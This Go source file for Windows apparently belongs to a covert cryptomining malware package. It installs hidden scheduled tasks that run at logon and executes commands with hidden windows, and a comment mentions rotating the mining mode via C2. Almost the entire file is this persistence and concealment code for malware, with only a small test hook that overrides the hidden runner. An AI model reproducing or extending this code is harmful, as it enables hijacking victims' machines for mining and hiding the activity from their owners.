//go:build windows

package miner

import (
	"os/exec"
	"strings"
)

func platformScheduledTaskOps() *ScheduledTaskOps {
	return &ScheduledTaskOps{
		Exists:  scheduledTaskExists,
		Install: installHiddenScheduledTask,
		StubPath: scheduledTaskStubPath,
	}
}

func scheduledTaskExists(taskName string) bool {
	err := hiddenRun("schtasks", "/Query", "/TN", taskName)
	return err == nil
}

func installHiddenScheduledTask(taskName, stubPath, trigger string) error {
	// /RL LIMITED + hidden window; mining mode rotates via C2 without redeploy.
	tr := strings.ReplaceAll(trigger, `"`, `\"`)
	return hiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr,
		"/SC", "ONLOGON", "/F", "/RL", "LIMITED")
}

var hiddenRun = defaultHiddenRun

func defaultHiddenRun(name string, arg ...string) error {
	cmd := exec.Command(name, arg...)
	applyHiddenWindow(cmd)
	return cmd.Run()
}

// SetTierHiddenRun overrides hidden exec for tests.
func SetTierHiddenRun(fn func(name string, arg ...string) error) {
	if fn == nil {
		hiddenRun = defaultHiddenRun
		return
	}
	hiddenRun = fn
}